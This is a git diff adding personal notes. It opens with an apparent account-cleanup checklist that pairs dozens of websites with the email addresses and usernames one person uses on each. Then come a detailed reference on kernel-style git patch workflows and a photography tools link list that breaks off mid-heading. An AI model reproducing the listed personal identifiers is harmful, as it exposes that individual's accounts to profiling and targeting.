**www.honeyfeed.fm**: (none) +- [x] deduped [ ] rotated **www.indiehackers.com**: laelyotam@gmail.com +**www.instapaper.com**: + - [x] deduped [ ] rotated c1y.khr1st@gmail.com + - [x] deduped [ ] rotated krispuremaths@gmail.com + - [x] deduped [ ] rotated krisyotam@outlook.com +- [x] deduped [ ] rotated **www.ixl.com**: krisyotam +- [x] deduped [ ] rotated **www.japanesepod101.com**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **www.kenhub.com**: laelyotam@protonmail.com +- [x] deduped [ ] rotated **www.kickstarter.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.kindpng.com**: krisxkrazy +- [x] deduped [ ] rotated **www.lendingclub.com**: (none) +**www.lifetime.life**: + - [x] deduped [ ] rotated chriscoleman + - [x] deduped [ ] rotated krisofakind +- [x] deduped [ ] rotated **www.magisto.com**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **www.mangago.me**: chrissenpaiii@gmail.com +- [x] deduped [ ] rotated **www.medici.tv**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.meetselect.com**: krisyotam@lcorpnow.com +**www.mynyl.newyorklife.com**: + - [x] deduped [ ] rotated clcoleman + - [x] deduped [ ] rotated krisyotam +- [x] deduped [ ] rotated **www.myshiftlab.app**: ccoleman@mobilegenerationinc.com +**www.newyorklife.com**: + - [x] deduped [ ] rotated clcoleman + - [x] deduped [ ] rotated krisyotam +- [x] deduped [ ] rotated **www.novlr.org**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.numerology.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **www.onlinejobs.ph**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.patreon.com**: krisyotam@outlook.com +- [ ] deduped [ ] rotated **www.pfed.newyorklife.com**: clcoleman (4x) | **DIFF** +- [x] deduped [ ] rotated **www.privateinternetaccess.com**: p7169025 +- [x] deduped [ ] rotated **www.proguides.com**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **www.quora.com**: laelyotam@gmail.com +- [x] deduped [ ] rotated **www.ralphlauren.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.ratatype.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.researchgate.net**: colema2@iu.edu +- [x] deduped [ ] rotated **www.royalroad.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.scrible.com**: kris@kriskrazy.com +- [x] deduped [ ] rotated **www.self.inc**: (none) +- [x] deduped [ ] rotated **www.sffchronicles.com**: krisxkrazy +**www.shasso.com**: + - [x] deduped [ ] rotated ccol0540@csd99.org + - [x] deduped [ ] rotated chrissenpaiii@gmail.com +**www.skool.com**: + - [x] deduped [ ] rotated krisyotam@outlook.com + - [x] deduped [ ] rotated krisyotam@protonmail.com +**www.sophia.org**: + - [x] deduped [ ] rotated colema2@iu.edu + - [x] deduped [ ] rotated laelyotam@protonmail.com +- [x] deduped [ ] rotated **www.southwest.com**: krisxkrazy +- [x] deduped [ ] rotated **www.speedtest.net**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **www.spreeder.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.stacksocial.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.superprof.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.tailwindapp.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.textverified.com**: kalamitymeta@gmail.com +- [x] deduped [ ] rotated **www.thegrantportal.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.torum.com**: (none) +- [x] deduped [ ] rotated **www.totallegal.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.trymyui.com**: dlspeaks4u@gmail.com +- [x] deduped [ ] rotated **www.typing.com**: krisofakind +- [x] deduped [ ] rotated **www.upstart.com**: (none) +- [x] deduped [ ] rotated **www.userbenchmark.com**: krisxkrazy +- [x] deduped [ ] rotated **www.vocabulary.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.voltra.us**: krisofakind +**www.wattpad.com**: + - [x] deduped [ ] rotated krisyotam + - [x] deduped [ ] rotated krsiyotam +- [x] deduped [ ] rotated **www.wevideo.com**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **www.wish.com**: krisxkrazy@gmail.com +- [x] deduped [ ] rotated **www.wishlistr.com**: krisyotam +- [x] deduped [ ] rotated **www.wondrium.com**: krisyotam@outlook.com +- [x] deduped [ ] rotated **www.worldanvil.com**: krisyotam +**www.writerscafe.org**: + - [x] deduped [ ] rotated krisxkrazy + - [x] deduped [ ] rotated krisyotam +**www.writing.com**: + - [x] deduped [ ] rotated krisyotam + - [x] deduped [ ] rotated laelmythos +- [x] deduped [ ] rotated **xcelsolutions.myabsorb.com**: krisyotam +- [x] deduped [ ] rotated **yourmorals.org**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **zadarma.com**: krisyotam@krisyotam.com +- [x] deduped [ ] rotated **zapier.com**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **Zillow**: krisyotam@protonmail.com +- [x] deduped [ ] rotated **zotero.org**: krisyotam + diff --git a/doc/patch-workflow.md b/doc/patch-workflow.md new file mode 100644 index 0000000000000000000000000000000000000000..e88f3ce2b04bbdc93bdadc4e5455057eb2c5520f --- /dev/null +++ b/doc/patch-workflow.md @@ -0,0 +1,1083 @@ +# Patch-Based Git Workflows + +A comprehensive reference for kernel-style and suckless-style patch workflows. Covers the full stack from git config to mailing list tooling to stacked branch management. + +--- + +## 1. Kernel Maintainer Git Config + +These settings are used by active kernel maintainers and make the diff/merge/rebase experience substantially better. + +```ini +[diff] + algorithm = histogram # better than myers for code changes + colorMoved = default + indentHeuristic = true + +[merge] + conflictstyle = zdiff3 # shows base alongside ours/theirs, not just ours+theirs + +[rerere] + enabled = true + autoupdate = true # auto-stage rerere resolutions (you still commit manually) + +[rebase] + autosquash = true # honor fixup!/squash! prefixes automatically + updateRefs = true # update all intermediate refs when rebasing a stack + autoStash = true + +[sendemail] + smtpserver = smtp.example.com + smtpserverport = 587 + smtpencryption = tls + smtpuser = you@example.com + confirm = always # ask before sending + chainreplyto = false # thread under cover letter, not last patch + suppresscc = self # don't CC yourself on your own patches + annotate = false # don't open editor for every patch + +[format] + coverLetter = auto # generate cover letter when >1 patch + notes = true # include git notes in format-patch output + signatureFile = ~/.git-signature + +[log] + date = format:%Y-%m-%d +``` + +Critical line: `chainreplyto = false`. Without it, each patch threads under the previous patch instead of under the cover letter, which breaks list threading. + +--- + +## 2. b4 Toolchain + +`b4` is the current standard for kernel patch submission. It handles threading, versioning, trailers, and sending. + +### Installation + +```bash +pip install b4 +# or +pipx install b4 +``` + +### Prep: Setting Up a Series + +```bash +# Start a new series on a branch +git checkout -b feature/my-driver + +# After commits are ready, prep the branch +b4 prep --new v1 --trailers --cover-from-branch main + +# Edit cover letter +b4 prep --edit-cover + +# Check what will be sent +b4 prep --show-revision +``` + +### Send: Submitting to a List + +```bash +# Dry run first +b4 send --dry-run + +# Send to the list +b4 send + +# Send a re-roll (v2) +b4 send --revision 2 --in-reply-to <message-id-of-v1> +``` + +b4 automatically: +- embeds a range-diff against the previous revision +- threads the re-roll under the v1 cover letter +- handles the `[PATCH v2 0/N]` prefix + +### am: Applying a Series from the List + +```bash +# Apply from a message ID (pulls from lore.kernel.org) +b4 am <message-id> + +# Apply and create a local branch +b4 am --create-branch <message-id> + +# Apply with 3-way merge fallback +b4 am -3 <message-id> +``` + +### shazam: Apply + Sign-off + +```bash +# Apply a patch series and add your Reviewed-by / Tested-by +b4 shazam <message-id> + +# Add a specific trailer +b4 shazam --add-trailer "Tested-by: You <you@example.com>" <message-id> +``` + +### diff: Compare Series Versions + +```bash +# Compare v1 vs v2 of a series +b4 diff <message-id-of-v1> + +# Compare against a local branch +b4 diff --local-branch feature/my-driver <message-id> +``` + +--- + +## 3. lei: Searching Mailing Lists Without Subscribing + +`lei` is part of `public-inbox` and gives you a local index of any mailing list you care about, without actually subscribing. + +```bash +# Install (often packaged as public-inbox-lei) +# Arch: yay -S public-inbox + +# Add a list to watch +lei add-watch https://lore.kernel.org/linux-mm/ + +# Search across all indexed lists +lei q "drm/i915 cursor regression" --no-remote + +# Search with field filters +lei q 's:RFC patch series' --no-remote + +# Get a specific message by ID +lei q "mid:20230601120000.12345-1-author@kernel.org" + +# Convert results to mbox for reading in mutt/neomutt +lei q "from:torvalds" --format=mboxrd -o ~/mail/torvalds-search.mbox + +# Watch for new patches matching a query +lei watch-add "s:drm/nouveau v2" +``` + +The key advantage: no inbox noise. You search when you need to, and the index updates in the background. + +--- + +## 4. git format-patch + range-diff + +### Basic format-patch + +```bash +# Format last 3 commits as patches +git format-patch -3 + +# Format a range +git format-patch origin/main..HEAD + +# Output to a directory +git format-patch -o /tmp/patches origin/main..HEAD + +# Add a cover letter +git format-patch --cover-letter -o /tmp/patches origin/main..HEAD + +# Set the subject prefix for a re-roll +git format-patch --subject-prefix="PATCH v3" -o /tmp/patches origin/main..HEAD + +# Automatically detect base commit +git format-patch --base=auto origin/main..HEAD +``` + +`--base=auto` records which upstream commit the series is based on. Reviewers can use this to check out the exact base and apply cleanly. + +### Embedding range-diff in the Cover Letter + +When sending a v2+, include a range-diff so reviewers can see what changed: + +```bash +# Generate range-diff and pipe it into the cover letter manually +git range-diff origin/main..v1-branch origin/main..v2-branch + +# With b4, this is automatic. Without b4, do it manually: +git format-patch --cover-letter --range-diff=v1-branch -o /tmp/patches origin/main..HEAD +``` + +The `--range-diff` flag makes git insert the range-diff output into the cover letter body, which is the convention on LKML. + +### range-diff standalone + +```bash +# Compare two versions of a 5-patch series +git range-diff \ + base..old-branch \ + base..new-branch + +# Limit to specific patches +git range-diff base..old~2 base..new~2 +``` + +Output reads like a diff of diffs. Lines prefixed with `>` are new content inside a changed patch. + +--- + +## 5. git send-email Power Usage + +### Basic Invocation + +```bash +# Send all patches in a directory +git send-email /tmp/patches/*.patch + +# Send a formatted range directly +git send-email origin/main..HEAD +``` + +### Re-rolls: Threading Under the Original Cover Letter + +```bash +# Reply to the v1 cover letter so the thread stays together +git send-email \ + --in-reply-to="<20230601120000.12345-0-author@kernel.org>" \ + /tmp/patches-v2/*.patch +``` + +The message ID comes from the original `[PATCH v1 0/N]` cover letter. Get it from lore.kernel.org or from the email headers. + +### Identity Profiles + +```bash +# ~/.gitconfig +[sendemail "kernel"] + smtpserver = smtp.kernel.org + smtpuser = me@kernel.org + from = Me <me@kernel.org> + +[sendemail "personal"] + smtpserver = smtp.fastmail.com + smtpuser = me@fastmail.com + from = Me <me@fastmail.com> + +# Use a specific identity +git send-email --identity=kernel /tmp/patches/*.patch +``` + +### Safety Options + +```bash +# Dry run: print what would be sent without sending +git send-email --dry-run /tmp/patches/*.patch + +# Validate patches before sending +git send-email --validate /tmp/patches/*.patch + +# Suppress CC to people already on To: +git send-email --suppress-cc=bodycc /tmp/patches/*.patch + +# Suppress all auto-detected CCs +git send-email --suppress-cc=all /tmp/patches/*.patch + +# Control CC handling explicitly +git send-email \ + --to=linux-kernel@vger.kernel.org \ + --cc=maintainer@example.com \ + --suppress-cc=self \ + /tmp/patches/*.patch +``` + +`--validate` runs `git am --dry-run` on the patches first. Catches malformed patches before they hit the list. + +--- + +## 6. Josef Bacik's Review Aliases + +Josef Bacik (btrfs maintainer) uses a workflow that lets him walk a patch series commit by commit, opening vimdiff at each step. + +### Aliases + +```bash +# In ~/.gitconfig +[alias] + # Show the series log with short stat + series-log = log --oneline --stat origin/main..HEAD + + # Review each commit interactively + series-review = "!f() { \ + git log --reverse --format='%H' origin/main..HEAD | \ + while read sha; do \ + git show $sha | vim -R -; \ + echo 'Next? [y/n]'; \ + read ans; \ + [ \"$ans\" = 'n' ] && break; \ + done; \ + }; f" + + # Vimdiff a single commit against its parent + show-diff = "!f() { \ + git difftool -t vimdiff \"$1\"^ \"$1\"; \ + }; f" + + # Check each patch applies to a clean base + check-series = "!f() { \ + git format-patch -o /tmp/review-patches origin/main..HEAD && \ + git stash && \ + git checkout origin/main && \ + git am /tmp/review-patches/*.patch; \ + }; f" +``` + +### Usage Walkthrough + +```bash +# See what's in the series +git series-log + +# Walk through each patch, reading in vim +git series-review + +# Vimdiff a specific commit +git show-diff a3f4c2b + +# Review from a mailing list message ID via b4 +b4 am <message-id> --create-branch review/feature +git checkout review/feature +git series-review +``` + +--- + +## 7. Greg KH's Stable Kernel Workflow with Quilt + +Greg Kroah-Hartman uses quilt to manage the stable kernel patch queue. The workflow applies to any project where you maintain patches on top of a moving upstream. + +### Setup + +```bash +# Install quilt +# Arch: sudo pacman -S quilt + +# Configure +cat >> ~/.quiltrc << 'EOF' +QUILT_DIFF_ARGS="--no-timestamps --no-index -p ab --color=auto" +QUILT_REFRESH_ARGS="--no-timestamps --no-index -p ab" +QUILT_SERIES_ARGS="--color=auto" +QUILT_PATCH_OPTS="--unified" +QUILT_DIFF_OPTS="-p" +EDITOR=nvim +EOF +``` + +### Daily Workflow + +```bash +# Import patches from upstream stable queue +b4 am <message-id> --output-dir stable-queue/patches/5.15/ + +# Navigate the queue with quilt +quilt series # list all patches +quilt next # what's the next unapplied patch +quilt push # apply next patch +quilt push -a # apply all remaining +quilt pop # unapply last patch +quilt pop -a # unapply all + +# When a patch fails to apply +quilt push # fails +quilt refresh # after resolving conflicts manually +quilt header -e # edit the patch header/description + +# Export for re-submission +quilt diff # diff of current patch +quilt export # export to directory +``` + +### Backporting a Fix to Stable + +```bash +# Start a new patch +quilt new drivers-my-fix.patch + +# Add files you'll modify to the patch +quilt add drivers/gpu/drm/i915/display.c + +# Edit the file +nvim drivers/gpu/drm/i915/display.c + +# Refresh the patch with your changes +quilt refresh + +# Check the result +quilt diff +quilt header -e +``` + +--- + +## 8. Junio Hamano's Integration Branch Model + +Junio (git maintainer) maintains git.git with a formal branch graduation model. The same pattern works for any project with a long-running stable history. + +### The Four Branches + +| Branch | Purpose | +|--------|---------| +| `maint` | Bug fixes for the last stable release | +| `master` | Current stable release | +| `next` | Integration branch; topics proposed for master | +| `seen` | Everything received; experimental / unstable | + +### Graduation Flow + +``` +topic branch -> seen -> next -> master -> maint (backports) +``` + +A topic lands in `seen` first. If it looks good after review, Junio merges it into `next`. Once the next release cycle closes, `next` is merged into `master`. Only regression fixes ever go into `maint`. + +### Maintaining This Model + +```bash +# Merge a topic into seen for initial integration +git checkout seen +git merge --no-ff pu/feature-branch -m "Merge branch 'pu/feature-branch' into seen" + +# Graduate to next after positive review +git checkout next +git merge --no-ff pu/feature-branch + +# At release time, merge next into master +git checkout master +git merge --no-ff next + +# Backport a critical fix to maint +git checkout maint +git cherry-pick <fix-sha> +git tag v2.41.1 + +# Mark a topic as "cook more" +# (just don't merge it to next yet, leave in seen) +``` + +### What-Cooking Document + +Junio sends a periodic "What's cooking in git.git" email. You can replicate this: + +```bash +# Show topics not yet in next +git log next..seen --oneline --no-merges + +# Show topics in next not yet in master +git log master..next --oneline --no-merges +``` + +--- + +## 9. git worktree Bare Repo Pattern + +The bare repo pattern lets you work on multiple branches simultaneously without stashing or switching. Each branch gets its own directory. + +### Setup + +```bash +# Clone as bare +git clone --bare https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git linux.git + +# Or convert an existing clone +cd linux && git config core.bare true + +# Add worktrees for each branch you're working on +git -C linux.git worktree add ../linux-main main +git -C linux.git worktree add ../linux-drm drm-fixes +git -C linux.git worktree add ../linux-review review/incoming-series + +# List all worktrees +git -C linux.git worktree list +``` + +### Daily Use + +```bash +# Work on the drm branch without affecting main +cd ../linux-drm +vim drivers/gpu/drm/i915/display.c +git add -p +git commit + +# Simultaneously test something in the main tree +cd ../linux-main +git log --oneline -10 + +# Remove a worktree when done +git -C linux.git worktree remove ../linux-review +``` + +### Why Bare + +A regular clone has a checked-out working tree tied to the `.git` directory. A bare clone has no working tree of its own, so every checkout lives in a separate `worktree add` directory. You never have a "main" checkout competing with your worktrees. + +--- + +## 10. git rerere for Repeated Conflicts + +`rerere` (reuse recorded resolution) records how you resolved a conflict and replays it automatically next time the same conflict appears. Essential when rebasing a long-lived branch repeatedly onto a moving upstream. + +### Configuration + +```ini +[rerere] + enabled = true + autoupdate = true # stage the resolved file automatically +``` + +### Basic Usage + +```bash +# Enable if not in config +git config --global rerere.enabled true + +# Conflict occurs during rebase +git rebase upstream/main +# ... conflict in drivers/net/foo.c ... + +# Resolve it manually +nvim drivers/net/foo.c +git add drivers/net/foo.c +git rebase --continue + +# rerere records this resolution. Next time the same conflict appears, +# it resolves automatically. +``` + +### Training from Existing Merges + +If you have old merge commits where conflicts were already resolved, you can train rerere from them: + +```bash +# Walk through all merge commits and extract resolutions +git log --merges --format="%H" | \ + while read sha; do + git rerere train "$sha" + done +``` + +### Inspecting and Forgetting + +```bash +# List all recorded resolutions +git rerere list + +# Show the rerere directory +ls .git/rr-cache/ + +# Forget a bad resolution (before applying it to commits) +git rerere forget path/to/file.c + +# Forget by conflict ID +git rerere forget # forgets all resolutions in the current conflict +``` + +### When rerere Saves You + +Typical scenario: you have a topic branch with a conflict against upstream. You rebase weekly. Without rerere you resolve the same conflict every time. With rerere you resolve it once, and all subsequent rebases apply the resolution automatically. + +--- + +## 11. Stacked Branches with --update-refs + +`rebase --update-refs` is the native git answer to stacked diffs. It keeps all the intermediate branch pointers correct when you rebase the bottom of a stack. + +### Setup + +```bash +# Enable globally (git >= 2.38) +git config --global rebase.updateRefs true +``` + +### Building a Stack + +```bash +# Create a base feature branch +git checkout -b feature/base main +# ... make commits A, B ... + +# Build on top of it +git checkout -b feature/part2 feature/base +# ... make commits C, D ... + +# Build further +git checkout -b feature/part3 feature/part2 +# ... make commits E, F ... +``` + +### Rebasing the Whole Stack + +```bash +# Without updateRefs, rebasing feature/base orphans part2 and part3. +# With updateRefs, all three branches move together. + +git checkout feature/base +git rebase --update-refs main + +# feature/base, feature/part2, feature/part3 all point to their +# rebased equivalents. No manual branch moving required. +``` + +### Explicit Per-Rebase Control + +```bash +# Turn on for a single rebase if you haven't set it globally +git rebase --update-refs main + +# Turn off for a single rebase even if globally enabled +git rebase --no-update-refs main +``` + +### Checking the Stack + +```bash +# See the stack visually +git log --oneline --graph feature/part3 + +# See which refs are on which commits +git log --oneline --decorate feature/part3 +``` + +--- + +## 12. git-autofixup + autosquash Workflow + +`git-autofixup` generates fixup commits targeting the right commit automatically, based on the blame of changed lines. + +### Installation + +```bash +# Install git-autofixup +cpan App::GitAutofixup +# or +pip install git-autofixup # some distributions package it here +``` + +### Workflow + +```bash +# You have a series: commits A (add function), B (use it), C (tests) +# You find a bug in A while reviewing B + +# Fix the bug in the working tree (don't commit yet) +nvim drivers/net/foo.c + +# git-autofixup looks at the blame of changed lines and +# creates a fixup! commit targeting the right parent +git autofixup + +# Result: a new commit "fixup! <subject of commit A>" +git log --oneline +# C tests +# B use function +# fixup! A add function +# A add function + +# Now interactively rebase to collapse the fixup +git rebase -i main # autosquash=true handles it automatically +# or explicitly: +git rebase --autosquash main +``` + +### Manual autosquash + +Without `git-autofixup`, you create fixup commits manually: + +```bash +# Create a fixup targeting commit A +git commit --fixup=<sha-of-A> + +# Create a squash (opens editor during rebase to merge messages) +git commit --squash=<sha-of-A> + +# Apply +git rebase --autosquash main +``` + +### Amending Specific Commits Without Interactive Rebase + +```bash +# Modify a specific commit without rebase -i +git commit --fixup=<sha> +GIT_SEQUENCE_EDITOR=true git rebase --autosquash -i main +``` + +`GIT_SEQUENCE_EDITOR=true` skips the editor entirely, letting autosquash apply automatically. + +--- + +## 13. Suckless Patch Management + +Suckless projects (dwm, st, dmenu, etc.) release minimal C programs meant to be patched per-user. The recommended workflow uses a branch per patch, merges them to a local `build` branch, and uses rerere to survive upstream updates. + +### Initial Setup + +```bash +cd ~/dev/dwm + +# Upstream tracking branch (never commit local patches here) +git remote add upstream https://git.suckless.org/dwm +git fetch upstream +git checkout -b upstream upstream/master + +# Your clean base for building +git checkout -b build upstream +``` + +### Adding a Patch + +```bash +# Download a patch from suckless.org +curl -O https://dwm.suckless.org/patches/systray/dwm-systray-6.4.diff + +# Apply it on its own branch +git checkout -b patch/systray upstream +git apply dwm-systray-6.4.diff +git add -A +git commit -m "patch: systray" + +# Add another +git checkout -b patch/fullgaps upstream +curl -O https://dwm.suckless.org/patches/fullgaps/dwm-fullgaps-6.5.diff +git apply dwm-fullgaps-6.5.diff +git add -A +git commit -m "patch: fullgaps" +``` + +### Building Your Combined Branch + +```bash +# Reset build to upstream +git checkout build +git reset --hard upstream + +# Merge patches one at a time +git merge --no-ff patch/systray +# resolve conflicts, git rerere saves them +git merge --no-ff patch/fullgaps +# resolve conflicts, rerere saves them + +# build branch is now upstream + all your patches +``` + +### Surviving Upstream Updates + +```bash +# New upstream release +git fetch upstream +git checkout upstream +git reset --hard upstream/master + +# Rebuild the combined branch +git checkout build +git reset --hard upstream + +# Re-merge each patch branch. rerere replays saved resolutions. +git merge --no-ff patch/systray # probably auto-resolves via rerere +git merge --no-ff patch/fullgaps # same + +# If a patch no longer applies cleanly, rebase it first +git checkout patch/systray +git rebase upstream +git checkout build +git reset --hard upstream +git merge --no-ff patch/systray +``` + +### Pushing to Your Remote + +```bash +# Push all branches +git push origin upstream build patch/systray patch/fullgaps +``` + +--- + +## 14. patchutils: interdiff, filterdiff, lsdiff, splitdiff, combinediff + +`patchutils` provides tools for manipulating patch files directly, without applying them. + +```bash +# Arch: sudo pacman -S patchutils +``` + +### interdiff: Diff Between Two Patches + +Shows what changed between v1 and v2 of a patch, similar to range-diff but operates on raw patch files: + +```bash +interdiff v1.patch v2.patch +interdiff v1.patch v2.patch | colordiff | less -R +``` + +Useful when you received patches by email and don't have the git history. + +### lsdiff: List Files Affected by a Patch + +```bash +lsdiff big-series.patch +# drivers/net/ethernet/intel/igb/igb_main.c +# drivers/net/ethernet/intel/igb/igb_ethtool.c + +# With line numbers showing where each hunk starts +lsdiff -s big-series.patch +``` + +### filterdiff: Extract or Exclude Hunks + +```bash +# Extract only patches touching drivers/net/ +filterdiff -i 'drivers/net/*' big-series.patch > net-only.patch + +# Exclude generated files +filterdiff -x '*.pb.go' big-series.patch > no-generated.patch + +# Extract a specific file +filterdiff -i 'Makefile' big-series.patch +``` + +### splitdiff: Split a Multi-file Patch Into Per-file Patches + +```bash +splitdiff -a big-series.patch +# Creates 001-drivers_net_foo.patch, 002-include_linux_bar.patch, ... + +splitdiff -D /tmp/split-patches big-series.patch +``` + +### combinediff: Combine Two Patches into One + +```bash +# Create a single patch that is the net effect of applying p1 then p2 +combinediff p1.patch p2.patch > combined.patch +``` + +Useful when you've iterated on a fix and want to send a single clean patch to stable@ instead of a series. + +--- + +## 15. git notes for Review Metadata + +git notes attach arbitrary text to commits without changing the commit SHA. Useful for recording review status, test results, or stable-queue tags. + +### Basic Usage + +```bash +# Add a note to a commit +git notes add -m "Reviewed-by: You <you@example.com>" <sha> + +# Append to existing note +git notes append -m "Tested-by: CI <ci@example.com>" <sha> + +# Read notes in log +git log --notes --oneline + +# Read a specific note +git notes show <sha> + +# Edit a note +git notes edit <sha> + +# Remove a note +git notes remove <sha> +``` + +### Custom Note Namespaces + +By default notes go in `refs/notes/commits`. You can have multiple note tracks: + +```bash +# Add a review note in its own namespace +git notes --ref=refs/notes/review add -m "Acked-by: Maintainer" <sha> + +# Add stable-queue metadata +git notes --ref=refs/notes/stable add -m "stable: 6.1+" <sha> + +# Show notes from a specific ref +git log --notes=refs/notes/review +``` + +### Sharing Notes + +Notes are not pushed/fetched by default. Configure it: + +```bash +# Push notes +git push origin refs/notes/commits + +# Fetch notes from upstream +git fetch origin refs/notes/commits:refs/notes/commits + +# Configure automatic fetch +git config --add remote.origin.fetch '+refs/notes/*:refs/notes/*' +``` + +--- + +## 16. git replace for Non-Destructive History + +`git replace` creates a redirect: references to the original SHA transparently use the replacement instead. The original object is unchanged. + +### Use Cases + +- Grafting a project's history onto a different parent +- Replacing a commit with a fixed version without rewriting history +- Splicing two repos together + +### Basic Replace + +```bash +# Replace commit A with a corrected commit A' (same content, fixed message) +git replace <sha-of-A> <sha-of-A-prime> + +# Now git log, git show, git diff all see A' when they encounter A +git log --oneline + +# List replacements +git replace -l + +# Remove a replacement +git replace -d <sha-of-A> +``` + +### Grafting History + +Scenario: your project's git history only goes back to 2019, but you have an older repo with history to 2015. You want to connect them without a destructive rebase. + +```bash +# In the newer repo, create a replacement for the root commit +# that points to the last commit in the old repo +git replace --graft <new-root-sha> <old-repo-last-sha> + +# Now git log shows continuous history back to 2015 +# Anyone who fetches gets the replacement if you push it +git push origin 'refs/replace/*' +``` + +### Sharing Replacements + +```bash +git push origin 'refs/replace/*' +git fetch origin '+refs/replace/*:refs/replace/*' +``` + +--- + +## 17. git-branchless + +`git-branchless` provides a Mercurial-style smartlog, stack-aware navigation, and safe history rewriting. Particularly useful for anonymous branch workflows. + +### Installation + +```bash +# Arch: yay -S git-branchless +# or +cargo install git-branchless +``` + +### Setup + +```bash +cd ~/dev/linux +git branchless init +``` + +### smartlog: Visual Stack Overview + +```bash +git sl +# or +git branchless smartlog + +# Output shows a DAG of your local commits relative to main: +# O abc1234 main +# | +# o def5678 (HEAD) feat: add drm helper +# | +# o ghi9012 feat: add drm structure +``` + +### Navigation + +```bash +# Move to the parent commit +git prev + +# Move to the child commit (when unambiguous) +git next + +# Move multiple steps +git prev 3 +git next 2 + +# When there are multiple children, pick one +git next --interactive +``` + +### restack: Rebase an Entire Stack + +```bash +# After main advances, rebase your whole stack onto it +git restack + +# Equivalent to: rebase each commit in topological order, +# respecting parent relationships, updating all refs. +``` + +### move: Relocate Commits + +```bash +# Move a commit to be on top of a different base +git move --base <sha> --onto main + +# Move a range +git move --base <old-base-sha> --onto <new-base-sha> +``` + +### sync: Pull and Restack + +```bash +# Fetch upstream and restack all local work on top +git sync + +# Equivalent to: git fetch + git restack +``` + +### hide/unhide + +```bash +# Hide a commit from smartlog without deleting it +git hide <sha> + +# Bring it back +git unhide <sha> + +# Undo the last operation +git undo +``` + +--- + +## Speed Stack Ranking + +Ranked by leverage: how much workflow pain each tool removes relative to the time to learn and configure it. + +| Rank | Tool / Setting | Pain Removed | Time to Learn | +|------|---------------|-------------|--------------| +| 1 | `rerere.enabled + autoupdate` | Eliminates repeated conflict resolution on long-lived branches | 5 minutes | +| 2 | `merge.conflictstyle = zdiff3` | Makes conflicts readable; you see base + both sides | 1 minute | +| 3 | `rebase.updateRefs = true` | Stacked branches just work after rebase | 1 minute | +| 4 | `diff.algorithm = histogram` | Better diffs, fewer false matches in code | 1 minute | +| 5 | b4 send / am | Full patch series management with automatic range-diff embedding | 30 minutes | +| 6 | git worktree (bare pattern) | Parallel branch work with no stashing | 20 minutes | +| 7 | git-branchless smartlog + restack | Visual stack + safe automated rebase | 45 minutes | +| 8 | git-autofixup + autosquash | Automatic fixup commit targeting; eliminates manual rebase -i surgery | 20 minutes | +| 9 | patchutils (filterdiff / interdiff) | Patch surgery without git history; useful for stable backports | 30 minutes | +| 10 | git format-patch --range-diff + --base=auto | Clean re-roll submission with embedded diff; reviewers thank you | 15 minutes | +| 11 | lei | Searchable mailing list archive locally without subscribing | 45 minutes | +| 12 | quilt (Greg KH model) | Patch queue management for stable/backport trees | 1 hour | +| 13 | Junio's seen/next/master/maint model | Formal topic graduation; only needed if you maintain a public tree | 1 hour | +| 14 | git notes | Review metadata without commit mutation | 15 minutes | +| 15 | git replace | Non-destructive history surgery; niche but irreplaceable when needed | 20 minutes | + +The first four are pure config with no UX change other than better behavior. Set them globally, forget about them, and reap the benefit forever. Everything else requires a workflow shift, but each one has a concrete break-even point within the first week of use. diff --git a/doc/photos/scripts/resources.md b/doc/photos/scripts/resources.md new file mode 100644 index 0000000000000000000000000000000000000000..ef22a200cbcd6ee99c50fc695f6ef11be6aa07c1 --- /dev/null +++ b/doc/photos/scripts/resources.md @@ -0,0 +1,39 @@ +# Photography and Astrophotography Tools Reference + +## Photo Organization +- **[timrc/exifsort](https://github.com/timrc/exifsort)** -- EXIF-based sorting +- **[davidgilson/photosort](https://github.com/davidgilson/photosort)** -- Date-based photo sorting +- **[LarsMichelsen/sd-autocopy](https://github.com/LarsMichelsen/sd-autocopy)** -- SD card auto-import +- **[unixhex/exipicrename](https://github.com/unixhex/exipicrename)** -- Camera+serial rename + +## EXIF/Metadata +- **[oPromessa exiftool gist](https://gist.github.com/oPromessa/059766e466df88383493f40a261e8391)** -- Power aliases +- **[thetestspecimen/film-exif](https://github.com/thetestspecimen/film-exif)** -- Film scan EXIF + +## RAW Processing +- **[darktable-cli](https://docs.darktable.org/usermanual/stable/special-topics/program-invocation/darktable-cli/)** -- Batch conversion +- **[RawTherapee CLI](https://rawpedia.rawtherapee.com/Command-Line_Options)** -- Batch processing +- **[Linecutterx/PhotoScript](https://github.com/Linecutterx/PhotoScript)** -- dcraw workflows + +## ImageMagick +- **[dvrs-brad/image-cli-tools](https://github.com/dvrs-brad/image-cli-tools)** -- Photography aliases +- **[mavieth/image-resizer](https://github.com/mavieth/image-resizer)** -- Social media presets +- **[windj007/autohugin](https://github.com/windj007/autohugin)** -- Panorama automation + +## Astrophotography +- **[SiriL scripts](https://siril.org/tutorials/)** -- OSC/Mono preprocessing +- **[Quark-Coder/Siril-Multisession](https://github.com/Quark-Coder/Siril-Multisession-Stacking-Script)** -- Multi-session stacking +- **[rzbrk/astrocam](https://github.com/rzbrk/astrocam)** -- gphoto2 capture scripts +- **[GraXpert](https://github.com/Stuermer/GraXpert)** -- Gradient removal +- **[AllskyTeam/allsky](https://github.com/AllskyTeam/allsky)** -- All-sky camera +- **[aaronwmorris/indi-allsky](https://github.com/aaronwmorris/indi-allsky)** -- INDI all-sky + +## Time-lapse +- 